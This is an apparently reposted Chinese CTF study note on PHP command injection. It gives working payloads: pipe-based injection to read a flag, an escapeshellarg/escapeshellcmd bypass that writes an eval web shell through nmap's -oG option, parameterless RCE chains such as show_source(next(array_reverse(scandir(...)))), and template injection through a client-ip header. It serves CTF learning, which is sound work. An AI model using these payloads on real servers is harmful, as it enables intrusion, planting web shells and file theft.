CTF之web学习记录 -- 命令注入

命令注入

  • 概述
  • 常见攻击方式
    • 使用管道符号
    • escapeshellarg和escapeshellcmd
    • 无参RCE
    • 模板注入
  • 命令执行漏洞修复
  • 总结

概述

  web服务器后端代码有时会调用一些执行系统命令的函数,以常见的php语言为例,使用system/exec/shell_exec/passthru/popen/proc_popen等函数可以执行系统命令。因此一旦我们可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

常见攻击方式

使用管道符号

  我们以一段简单的php代码为例,如下代码所示,程序获取get参数ip,然后拼接到system函数中。


echo system("ping -c 2 " . $_GET['ip']);
?>

  利用上面的代码和管道符,我们可以轻松执行任意操作系统命令,现将管道符介绍如下。

# windows下管道符
|  前面语句的执行结果为后面语句的输入
|| 只执行一条语句,前面语句为真,则后一条语句不执行
&  两条语句都执行,前面语句为假不影响后面语句的执行
&& 两条语句都执行,但只有前面为真才不影响后面的语句

# linux下管道符
;  命令截断符,前面为假不影响后面语句执行
|  前面语句的执行结果为后面语句的输入
|| 同windows,只执行一条语句,前面语句为真,则后面不执行
&  同windows,两条语句都执行,前面为假不影响后面的语句
&& 同windows,两条语句都执行,但只有前面为真才不影响后面的语句

  对比windows和linux,我们发现linux下只比windows多了;截断,然后如果我们想要获取flag的话,可以这样拼接命令127.0.0.1 | cat flag

escapeshellarg和escapeshellcmd

  这两个函数本来是用于过滤字符使用的,简单理解两个函数的功能就是给参数两边加上单引号,并对我们传入的特殊字符如:引号、管道符进行转义,但仍然存在一些问题,所以这里积累一下。简单总结一下漏洞所在,escapeshellarg是用来过滤参数的,escapeshellcmd是用来过滤命令的,所以一般这两个函数会被配合使用,但一旦这样做就会出现漏洞。
  下面以一道实际的ctf例题进行分析,[BUUCTF 2018]Online Tool,这里做了简化,如下代码所示。代码中用get方式获取host参数,然后就使用了escapeshellargescapeshellcmd一起对参数做了过滤处理,此时存在问题,现分析如下。


$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
?>

  做这道题的话无法使用常规的管道符进行命令注入,因为管道符都被转义了,无法达到效果,所以就需要使用nmap命令自身的特性。我们使用nmap的-oG参数,将命令和结果写入到文件中,利用一句话木马来实现攻击。首先构造的payload如下,?host= -oG hack.php,可以自己写个测试文件,看看经过两个函数后会发现怎样的变化,然后逐步来调试,最终构造的payload如下,之后用蚁剑连接即可。

# 原payload
?host=' $_POST["cmd"]);?> -oG hack.php '

# 转义后payload
''\\'' \<\?php @eval\(\$_POST\["cmd"\]\)\;\?\> -oG hack.php '\\'''

无参RCE

  RCE即远程命令执行,也就是我们所谓的命令注入,那么这里的无参代表我们需要用无参函数(即没有参数的函数)调用的方式来执行一个命令注入。
  首先我们来看一个php示例代码,如下代码所示,大概解释下其功能,get请求传进来的参数会被正则表达式匹配处理替换为空,如果最后只剩;则符合要求,执行传进来的参数。而这里的正则表达式只会匹配这样的参数a(b(c())),也可以a()b()c(),但是a(123)这种含有参数的就不行,所以无参在这里就体现了。

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}

  因此面对这种题目,我们只需要在php函数库中找到可以构造的函数链a(b(c())),该函数链的返回值符合我们想要的命令。现将一些常用的函数介绍如下:

localeconv()  # 函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
current()     # 默认取数组第一个元素
pos()         # current()的别名
pos(localeconv()) # 结果就是一个点

scandir()       # 列出所给参数目录下的文件
array_reverse() # 以相反的元素顺序返回数组
array_flip()    # 交换数组的键和值
array_rand()    # 随机返回数组的键
next()          # 内部指针指向数组中的下一个元素,并输出
print_r()       # 以更好的格式打印所给参数变量

readfile()      # 读取文件内容
highlight_file()# 打印输出或者返回 filename 文件中语法高亮版本的代码
show_source()   # highlight_file() 别名

session_start() # 告诉PHP使用session,php默认是不主动使用session的
session_id()    # 获取当前session id值

  有了上面的函数作为支撑,我们就可以这样来获取flag,首先列出当前目录下的文件。

print_r(scandir(pos(localeconv())));

  然后假设flag在倒数第二个文件里面,那么使用如下代码即可高亮源代码得到flag。

show_source(next(array_reverse(scandir(pos(localeconv())))));

  如果flag在中间某个位置,也可以采用下面的方式,用随机打印的方式去获取,在一定的刷新次数内就会得到想要的信息。

show_source(array_rand(array_flip(scandir(pos(localeconv())))));

  最后再介绍一种利用session获取的方式,假设我们知道存取flag的文件名为flag.php,如下图所示,我们利用bp抓包修改Cookie为PHPSESSID=flag.php,构造payload为readfile(session_id(session_start()));即可读取到flag.php文件。

CTF之web学习记录 -- 命令注入_第1张图片

模板注入

  现在大多数网站都会使用模板来进行网页渲染,这是一种业务逻辑和数据展示解耦的过程,通俗的理解来讲就是在网页模板代码中挖空,然后填如特定的模板标记语言,这些语言后面会由用户传进来的数据直接替代,要注意一点的就是模板标记语言是可以执行函数的。模板注入漏洞的产生行为很像sql注入,都是由于没有过滤用户的输入且直接拼接了输入导致的。模板注入漏洞的存在可以让我们直接运行函数或者执行系统命令。
  下面以一道ctf题目为例,[BJDCTF2020]The mystery of ip,顺便再记录一个知识点,http头部IP地址标记,即我们可以通过设置http头部IP地址标记来告诉远程服务器我的IP。

client-ip
x-forwarded-for

  如上面给出的两个头部标记所示,任选其一即可进行模板注入,当然实际分析过程中应该看服务器端的代码是否使用。模板注入一般有两种标记方式,{}{{}},如下截图所示,我们增加client-ip头部字段,执行系统调用命令即可获取到flag。

CTF之web学习记录 -- 命令注入_第2张图片

命令执行漏洞修复

  针对命令执行,这里给出一些建议,首先应该尽量避免使用命令执行函数,其次如果要使用这些函数,那么在接受用户提交的变量时应该做好检测和过滤。

总结

不忘初心,砥砺前行!

你可能感兴趣的:(网络安全,ctf,web,网络安全,web)